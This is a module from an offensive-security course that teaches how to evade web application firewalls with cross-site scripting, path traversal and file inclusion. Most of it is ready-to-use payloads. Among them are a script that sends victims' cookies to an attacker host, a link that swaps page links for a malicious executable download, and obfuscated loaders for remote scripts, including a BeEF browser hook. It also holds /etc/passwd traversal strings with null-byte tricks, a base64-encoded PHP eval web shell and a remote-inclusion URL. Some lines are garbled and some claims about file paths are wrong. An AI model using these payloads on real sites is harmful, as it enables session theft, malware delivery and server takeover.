WAF Bypassing with XSS and RFI
Until now, we examined some serious ways of bypassing WAF, including encoding schemes, SQL Injection and others. In this module, let’s examine another critical attack method that an attacker can use in various ways to bypass
WAFs. This attack is XSS.
Cross Site Scripting – XSS
Cross Site Scripting (or simply XSS) is an injection type attack where the attacker injects malicious scripts into
trusted websites. The vulnerability occurs when we use a
web application to send maliciously crafted code in the form of a browser side script, most of the time in HTML, to a
different user of the application. These kinds of attacks take place in many places of a web application, most of the
time in the parts that the user can supply content to it and the web application generates it within the output, without validating or encoding it.
As we said, the attacker can send malicious code to another user. The browser of the user that will receive this code
has no way to know that this script cannot be trusted, and it will be executed, as it was given by the website itself.
Cookies, session tokens, and other user sensitive information, are only some of the data that we can acquire with
XSS attacks.
To continue, Cross-Site Scripting (XSS) attacks occur when:
• Data enters a Web application through an untrusted source, most frequently a web request.
• The data is included in dynamic content that is sent to a web user without being validated for malicious content.
The malicious content that we sent to the web browser often takes the form of a segment of JavaScript, but it can
include HTML, Flash, or any other type of code that the browser recognizes and executes. The variety of attacks
based on XSS is almost limitless. These scripts can even rewrite the content of the HTML page. They can also redirect the victim to web content controlled by the attacker, or perform other malicious operations on the user’s end.
There are also other types of XSS attacks. XSS is basically categorized as either stored or reflected, but the DOM
Based XSS also exists that is less common.
• Stored XSS Attacks: This kind of XSS is where the script that the attacker injects is permanently stored on
the target server, like in a forum thread, comments or, generally, in a database. The victim then retrieves the
script by reacting with the means that carries it, and executes it, unveiling the malicious results. Stored XSS is
also sometimes referred to as Persistent or Type-I XSS.
• Reflected XSS Attacks: In this XSS type, the script we inject is reflected off the web server, such as in an error message, or any response that includes some or all of the input sent to the server as part of the request.
These attacks are executed through other routes and not input fields. These routes can be email messages,
or redirections from other websites. The user firstly is tricked into clicking a link, or visiting a website that is
maliciously crafted, and the injected code heads to this site, which reflects the attack back to the user’s
browser. Finally, the browser executes the code because it came from a trusted server. Reflected XSS is also
sometimes referred to as Non-Persistent or Type-II XSS.
As you can understand, WAFs try to filter these kind of attacks, but the amount of exploitation methods of XSS is so
big that it is really difficult for WAFs to keep up. Also, XSS is really difficult to find and remove from a web application. The most common way is to review all places that input is taken with HTML tags, and by this an attacker can
transmit malicious Javascript code. Finally, it is common that if one part of the application is vulnerable to XSS, other
problems exist as well.
In the following example, we can see a server side script that is used by the application to display the latest comment:
print "<html>"
print "Latest comment:"
print database.latestComment
print "</html>"
Of course, the script assumes that the user only supplies text, however since the user input is included directly, an
attacker could submit other input too. For example:
<script>...</script>
Inside the <script> tags, the attacker can insert JavaScript code that will be executed by the user that will open the malicious comment of the attacker. Now, many will ask how JavaScript can be malicious, and for this there are some facts that we have to keep in mind:
• JavaScript has access to much sensitive info, carried by the browser, like cookies.
• JavaScript can modify the HTML of the current page using DOM manipulation methods.
• JavaScript can send HTTP requests with arbitrary content to arbitrary destinations by using the XMLHttpRequest parameter and other mechanisms.
These facts can be combined to perform attacks like cookie theft, keylogging and phishing. So, let’s add JavaScript
code to our previous example, where we will try to steal the session cookie of the users that navigate to the comments page:
<script> window.location='http://maliciouswebsite.com/?cookie='+document.cookie </
script>
When the victim is visiting the page of this comment, this script navigates him to a different URL (the URL that we
add to the script), that will trigger an HTTP request on the attacker’s server. The URL will include the victim’s cookie
as a parameter which we can later extract. With the possession of the cookie, one can impersonate the victim on the
exploited website, and perform more attacks.
XSS Syntax
Until now, we saw how to perform XSS using the <script> tags. But the truth is that XSS may be conducted without using them, and other tags will work as well. For example:
<img src="http://fakewebsite.com/image.jpg" onerror=alert(document.cookie);>
The onerror event that we see here is triggered if an error occurs while loading an external file, and here returns the
cookie of the user, similarly with the earlier example. Another interesting event commonly used in xss attacks is the
onmouseover, that produces an action when the user passes the mouse over the link, image or other infected tag.
Here is an example:
<b onmouseover=alert('Hacked')>click me!</b>
Here we can see that we use the bold tag and with the onmouseover event we produce an alert that writes Hacked
when the user passes the mouse over the click me! text.
Also, we can use Encode URI schemes as we learned in module 2, to encode our strings and be able to bypass filters. For example:
< IMG SRC=jAvascript:alert('test2')>
Here we use UTF-8 encoding in the JavaScript code with the img tag.
Reflected Cross Site
As we already said, this type of XSS occurs when we inject
code to an HTTP response and the code is not stored in
the application, but attacks users that open specially
crafted URLs or 3rd party pages. The string is contained in the URL or in the HTTP parameters, which is processed
wrong by the application and it gets returned to the victim. Finally, there are three steps in performing an XSS attack.
First of all, we have to detect the input vectors of the web application. By this we mean that we have to find all the
user-defined variables of the website and how the input is done. Some might say that this is pretty easy, but keep in
mind that most of the time hidden and nonobvious input exists in HTTP parameters, POST data and hidden HTML
fields that the developer has added. We can use a proxy to view and edit the requests, or an HTML editor to find
and edit hidden fields in a web page.
The next step is to analyze this input path we found and detect if an XSS vulnerability exists. For XSS detection, we
have to use specially crafted input data that will be harmless, but triggers responses from the browser that will get
the return from the vulnerability. The data that we supply to the application can be made with many ways, but some
good examples are simple scripts, like the examples we saw earlier. For example:
< script>alert(‘test’)</script>
“><script>alert(document.cookie)</script>
<IMG SRC="javascript:alert('XSS');">
Now that we know if our web application is vulnerable or not, we have to determine if this vulnerability has a serious
impact to the web application’s security. To do so, we have to examine the output HTML page of our test in step
one, and find our input. Once found, we have to check for any special characters that were not properly encoded or
filtered by the web application or the WAF. In a secure application, all HTML special characters will be replaced.
Some key HTML characters to look for are: <,>,&,’,”, but there are many guides available on the internet with
more special characters
(https://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references).
Also, in the context of HTML action or JavaScript, other special characters have to be determined, like:
\n (new line)
\r (carriage return)
\' (apostrophe or single quote)
\" (double quote)
\\ (backslash)
\uXXXX (unicode values)
More special code characters can be found here:
https://developer.mozilla.org/enUS/docs/Web/JavaScript/Guide/Grammar_and_types#Using_special_characters_in
_strings
Let’s see an example of a web application where users navigate to a page that changes its HTML code, by the parameter ?id= of the URL, for example, a shop that redirects to a credit card service. This is a data entry point where
we can give input as we saw earlier. So, let’s supply the following:
:
http://eshop.com/checkout.php?id=<script>alert(123)</script>
If no sanitization is applied and we try to checkout by supplying this script, we will see a popup window saying 123,
like in image 1.
Of course, by this we can understand that an XSS vulnerability exists and we can execute the code of our choice on
anybody’s browser if the victim clicks on our supplied link.
Of course, now that we know that this parameter is vulnerable, we can alternate the script and do whatever we
want. A good example is to supply the following code:
http://eshop.com/checkout.php?id=<script >window.onload = function() {var
AllLinks=document.getElementsByTagName("a"); AllLinks[0].href =
"http://attackerssite.com/malicious.exe"; }</script>
With the visit of the victim in this URL, he will download a malicious executable from a site of our preference. So,
you can see that the possibilities are endless.
Stored Cross-site Scripting
Another XSS method we mentioned was stored XSS. This
is the most lethal of the two most common methods, and
it happens to web applications that allow users to supply
input that is stored to the database, and it may be malicious. For example, a forum that accepts comments and is
vulnerable can save the malicious comment of a user and exploit everyone that interacts with this page. Other attacks that can be performed are:
• Hijacking another user’s browser
• Capturing sensitive information viewed by application users
• Port scanning of internal hosts (“internal” in relation to the users of the web application)
• Directed delivery of browser-based exploits
Unlike Reflected XSS, stored does not need a link and phishing methods to make the victim visit the maliciously
crafted URL. If the victim visits the vulnerable web page that has been exploited, the code is executed by the user’s
browser. Of course, this type of attack is really dangerous for users with extended privileges, admins, etc., because
these are the users that are targeted and have most of the privileges in a web site.
The process of testing for a stored XSS is pretty similar with the reflected one, but let’s examine an example to see
the differences in the web application and the behavior of the attack. We will do this mostly because we have to understand where the code is stored and where it exists in the context of the page. Let’s take, for example, a page
where we create a new user account for a website. There, despite all the other input fields, it has a field where we
input our email for verification and login reasons. By its nature, an email field has to be more flexible, because it may
contain special characters and may be case sensitive, so the filtering of this kind of field is difficult.
Examining the code of this page, we find the following piece of code:
<input class="inputbox" type="text" name="name" size="40" value=" " />
<input class="inputbox" type="text" name="username" size="40" value=" " />
<input class="inputbox" type="text" name="email" size="40" value=" " />
…
As we can see, the value attribute of each field will include whatever we are going to supply to the web application.
For example, if we supply Alexander to the name field, this piece of code will be:
<input class="inputbox" type="text" name="name" size="40" value="Alexander" />
Let’s say that we want to test this field and supply malicious code, how can we do it? We simply craft a string that
will serve the needs of the HTML code. For example:
Alexander”><script>alert(“123”)</script>
Now the code is stored in our credentials, and every time a user of this website sees our profile, he will be served
with a popup saying 123. As you can understand, in many cases, it is a very restricted scenario because we may have
only one try to give the string we want, as the account may not accept changes in one or all of its fields. In this scenario, we probably have to create multiple accounts to test it correctly, but this may create problems in the testing
server.
After we are sure about the vulnerability of the field, we continue with supplying a malicious script to check its behavior. For example:
Alexander%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
Here we have a well-known string, that returns the user’s cookie, but we have URL encoded the special characters to
bypass the WAF that exists in the server.
Keep in mind that, nowadays, many browsers disable JavaScript for security reasons, or modify the the HTTP requests (client side controls). So, an attack may be presented in a page, but not succeed because of client side controls. It is also important to test the same attack scenario with GET and POST methods, because it may be sensitive
only to one way.
Example XSS Attacks
There are many more ways to exploit XSS; let’s see some
example, to get more familiar with the process.
HPP and HPF
In the previous module, we saw about the HPP and HPF attacks, and we implemented SQL injection to them. But the
logic is the same here and we can perform an XSS attack
exploiting the HPP or HPF vulnerability, to be able to bypass a WAF. Let’s say, for example, that we have this vulnerable URL:
http://webpage/index.php?id=
A regular XSS attack here would look like this:
http://webpage/index.php?id=<script>alert(“123”)</script>
But exploiting an HPP vulnerability will transform this to:
http://webpage/index.php?id=<script¶m=>alert(“123”)</¶m=script>
The result will be once more the popup window, and our WAF that is vulnerable to HPP has been passed.
Until now, we saw that we use really small fragments of code in our scripts, usually written in the <script> tags. But what if we want to execute a script in the victim’s browser that is hosted outside the website? It is again pretty easy, and we can perform it by simply supplying the following in the vulnerable field:
<script src="http://script-host/xssattack.js"></script>
Here you can see that we are using the src attribute that gives us the ability to include a link to our tags. This script
execution is also stealthy, because we have left empty the space inside the script tags. As you can see, our hosted
script is written in JavaScript, because it is a script language that usually executes in a browser. Some examples for
WAF bypassing with this attack would be:
<sCrIpT src="http://script-host/xssattack.js"></ScRiPt>
<scr+ipt src="http://script-host/xssattack.js"></scr+ipt>
<SCRIPT%20a=">"%20SRC="http://script-host/xssattack.js"></SCRIPT>
<SCRIPT =">" SRC="http://script-host/xssattack.js"></SCRIPT>
<scri<script src="http://script-host/xssattack.js">pt src=”http://script-host/
xssattack.js”></script>
Attack with Event Handlers
Another thing we talked about a little bit earlier is the
event handlers. An HTML event can be something that the
browser or the user does, so in our script, we use these
event handlers to be able to handle events that take place.
Also, JavaScript can react to these events. Some interesting events can be the following:
• onClick() – When someone clicks a form, link, etc.
• onError() – When loading of a document or image causes an error
• onFocus() – The string gets executed when the window gets focus
• onLoad() – The string gets executed when the window is finished loading
These and many more can be found on the internet that can exploit several behaviors of the user or the browser,
and help us bypass some restrictions. A good example could be:
" onfocus="alert(document.cookie)
We can add this to an input field, as we saw earlier, and it will trigger the cookie grabbing when the window gets
into focus. Also, we can use the onError event, or any event as an HTML attribute, like this:
<img src="http://website/image.jpg" onerror=alert(document.cookie);>
Here the event triggers if the image from the img tag has a problem loading, and if this happens, cookie grabbing
takes place. It is a case restricted scenario, but if the attacker manages to find a page that has problems loading images and has XSS vulnerabilities, it is a really good way. Finally, a way that is mostly used in reflected XSS is the onmouseover event handler, that can be used like this:
<script onmouseover="alert(document.cookie)></script>
Here we have a script that every time the user passes the mouse over the URL, it triggers the cookie grabber, and
can be easily used in phishing attacks, in emails, and comments in stored XSS scenarios.
XSS Attacks with BeEF & XSS
Attacks and WAF Bypass with
XSSer:
XSS Attacks with BeEF
BeEF (Browser Exploitation Framework) is a framework for attacking web browsers and exploiting
XSS vulnerabilities and victims’ browsers. We have
to keep in mind that BeEF is not a vulnerability
finder and we have to manually find the XSS vulnerability to proceed in using BeEF. The first step is to
fire up BeEF from Kali Linux, which comes preinstalled in it or install it in a Linux machine from
here: http://beefproject.com/. A browser window
will start looking at the localhost and port 3000,
where the BeEF is running. Now the next step is to hook the victim’s browser to BeEF, which we can do by simply
attacking XSS with something like the following:
http://www.testsite.com/xss-test.php?id=<script src=”http://<IP>:3000/hook.js”></script>
Here you can see that we use the script tag in a Reflected XSS vulnerability. Also, keep in mind that for the IP to
work for a remote machine, we have to use port forwarding in our router, but this is not in the scope of this course.
Once we have hooked to a victim’s browser, we can find info in the BeEF controller and try to attack the browser.
The next step is to navigate to the commands tab, where a big variety of automated post XSS attacks can be found.
XSS Attacks and WAF Bypass
with XSSer
Cross site Scripter – XSSer is a really powerful tool
that can automate the process of detection and exploitation of XSS vulnerabilities. It can be found preinstalled in Kali Linux, or here http://xsser.03c8.net/
for download and installation on another Linux machine.
To run it, we just open a terminal and type something like this:
xsser -u ‘http://vulnerable-website.com’ -g 'Search.asp?tfSearch=' -Fuzz -s
Here you can see that we used the following options:
-u : The URL for the site we want to test
-g : The HTTP Method to use (GET or -p for POST or -C for Crawling)
These are only a few of the large amount of options and modifications that we can do in this script. Here we run a
really simple example, but you can see all the available options in the help page of XSSer by typing xsser -h
XSSer uses many encoding ways to be able to bypass a WAF, so we can say that if an XSS vulnerability exists in the
target, the XSSer is an automated WAF bypasser.
Path Traversal
A path traversal vulnerability allows an attacker to
access the file system, or a part of it, that is stored
outside the webroot folder. Most of the time, this
vulnerability gets exploited by manipulating variables that reference files with ../ sequences, or some variation of
it, or by using absolute file paths. With this, it may be possible to access files and whole directories stored on the file
system of the web hosting server. Most of the time, files are limited by system access controls, but this goes to other
type of attacks.
Path traversal, due to its nature, gets filtered by WAFs, and this is why we have to be able to bypass them. The usual
“dot-dot-slash” ../ can be bypassed with the same methods as the earlier examples. For example:
%2e%2e%2f
%2e%2e/
..%2f
But due to its small nature, WAFs are successful in filtering all its variations. So, we have to find other ways to bypass
this. To do so, let’s see an example that we want to read files in the directory one level higher than the root. Here
the code that runs in the back end would be:
<? include($_GET['file'].".txt") ;?>
To exploit this part with path traversal we can supply:
http://website.com/?file=filesystem/admins.db/./.[N]/./.
http://website.com/?file=filesystem/admins.db..[N]..
This ?file= parameter is vulnerable because of two features of PHP functions that exist to interact with the file system. The first one, that we talked about in an earlier module, is path normalization, where odd symbols like / that
we use in path traversal are removed, and the second one is path truncation, which is bypassing the PHP limits, in
versions lower than 5.3 on PHP. We just have to add 4096 characters after the file name ( add 2050 /. after the file
name) to success. For example :
http://website.com/?file=../../../index.php/./././././....[ 4096 ] /.
A simpler example of path traversal to see how the request of this code <?include("./files/".
$_GET['file'] ) ; ?>, will be done, after the injection of the following string:
/?file=/union%20select/../../../../../../../etc/passwd
The request on the program will become something like the following:
<?include(" ./files// uni X on%20sel X ect /../../../../../../../etc/ passwd ") ; ?>
To continue with path traversal exploitation, we can execute commands in the server. Of course, this example is OS
sensitive, and we first have to know the OS that the server is based, to execute the correct commands, and plan correctly the file system. To exploit the first example code that we saw in path traversal, we inject the following:
/?file=data:, <? php eval ($_REQUEST[ cmd ]);?> & cmd = phpinfo ();
Of course, this is a really simple example that targets Windows machines, but it will not pass a WAF, because it has
special characters that will be filtered from WAF. To harden this string, let’s encode it with base64 and it will become:
/?file= data:;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk 7ID8%2b &cmd= phpinfo ();
Now, our WAF got bypassed because it didn’t decode the base64 string, and the path traversal vulnerability was
based on a feature of the PHP interpreter of the server.
Remote and Local File Inclusion
File inclusion vulnerabilities allow us to include a file
by exploiting the dynamic file inclusion mechanisms
in the target server. This vulnerability is caused due
to the lack of proper validation of the users. These attacks can lead to many serious results, like:
• Outputting the contents of the file
• Code Execution
• XSS
• DoS, etc.
The two main categories are RFI and LFI. The Remote code execution is the process of including remote files
through exploiting the inclusion procedures implemented in the server, as we said earlier. As an example, let’s say
that a page receives as an input the path to a file that has to be included next, and this input is not properly sanitized, allowing an external URL to be included.
On the other hand, Local File Inclusion is when we include files that exist locally on the server by exploiting the vulnerable inclusion procedures of the targeted application. Similarly with the RFI, when a page receives an input with a
path to a file that has to be included to the next page, and this input is not properly sanitized, and allows path traversal characters, like the ../, to be injected.
To continue, as we said in path traversal, for all these attacks, we have to know the OS that the server is running, for
many reasons, and one of these is that the path separator is changing in its OS. The three most used Os’s and their
path separators are:
• Unix core OS – Root directory and separator: /
• Windows – Root directory: drive letter:\ , directory separator: / or \
• MacOS – Root directory: drive letter: , directory separator: :
Now let’s examine some examples to see how we can conduct such an attack, and be able to bypass WAF at the
same time. Let’s consider the following link:
http://website.com/index.php?file=rfi.html
As we can understand by the call for the rfi.html file from the URL, it is possible for this site to have an LFI vulnerability. A common test to see more security aspects is to firstly go for the passwd file of the server. To do so, let’s try the
following:
http://website.com/index.php?file=../../../../etc/passwd
In some situations, this will have been executed, but this time a WAF has filtered our input. The first thought is to
encode some aspect of this URL. For example:
http://website.com/index.php?file=..%2f..%2f..%2f..%2fetc%2fpasswd
By encoding all the slashes, it is really possible to successfully bypass WAF, and we bypass it but we have a problem
executing it in the server. Let’s consider the following piece of code:
<?php “include/”.include($_GET['filename'].“.php”); ?>
This is the server code that handles this parameter, which can be bypassed by using null-byte terminators, because
the %00 represents the end of the string and any characters after this byte will be ignored. So we execute the following URL:
http://website.com/index.php?file=..%2f..%2f..%2f..%2fetc%2fpasswd%00
This will return the list of basic user attributes, which will be something like the results of Image 6.
Finally, let’s examine a code segment, for an RFI attack:
$incfile = $_REQUEST["file"];
include($incfile.".php");
Here we have a PHP code segment from a backend file, that takes filenames as parameters. In a vulnerability like
this, the path is extracted from the HTTP request and no input validation is done afterwards, so it is considered vulnerable to RFI. So, ideally, the following URL would exploit a vulnerable website like this:
http://website.com/index.php?file=http://malicious-site.com/malicious-script-or-page
In this case, the remote file is going to be included and any code contained in it is going to be run by the server.
Once more, in the RFI attack, we can use request normalization or encoding in the attacking URL, to be able to bypass a WAF. Finally, this was the last attack vector that we can include in the attacks that a WAF is securing and that
we have to bypass a WAF to conduct them. In the next and final module, we will examine some real life practical examples and conclude the course.